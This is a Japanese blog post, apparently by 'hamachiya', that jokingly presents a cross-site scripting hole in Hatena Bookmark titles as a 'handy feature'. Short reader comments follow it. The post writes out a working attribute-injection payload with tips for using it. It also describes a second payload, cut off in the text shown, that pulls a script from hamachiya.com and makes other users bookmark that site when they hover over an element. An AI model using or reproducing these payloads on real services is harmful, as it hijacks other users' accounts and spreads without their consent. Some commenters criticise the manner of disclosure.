はてなブックマークの超べんり機能 :: ぼくはまちちゃん！

タイトルを↓みたいに編集すれば、ユーザーが自由にScriptつかえちゃうんだね！ ぼく、ゆめがひろがりんぐです！ "width=100 height=100 onmouseover=alert(String.fromCharCode(88,83,83)) ※最初にダブルクォート、最後に空白をひとついれる。 あ、人気エントリーのタイトルとか書き換えたらダメだよ…！ えらいことになっちゃうかも？ (追記) http://test/ ってurlのブックマークにテスト用のコードを置いてみたよ！ タイトルが以下になってて hamachiya.com/h のscriptを呼び出す感じ。 (消しゴムに触れると呼び出されて、hamachiya.comをブックマークに追加してしまうという内容) "width=100 height=100 onmouseover=d=document;t=String; s=

[p-4]

事態はわかるが、中の人はスーパーマシンで自動で修正されるわけではないんだからぁ（汗） 脆弱性の発見自体は良いことだが、他社ソフトの最近事例を考えても公開までのフローと態度は問題視すべき。

[a6m5]

はまちちゃん

[zonia]

やっとこさ修正されたみたい。

[memoclip]

ははは こやつめ ははは

[YasSo]

すごいよはまちさん！

[yupo5656]

...

[tzk]

あらあらまあまあ。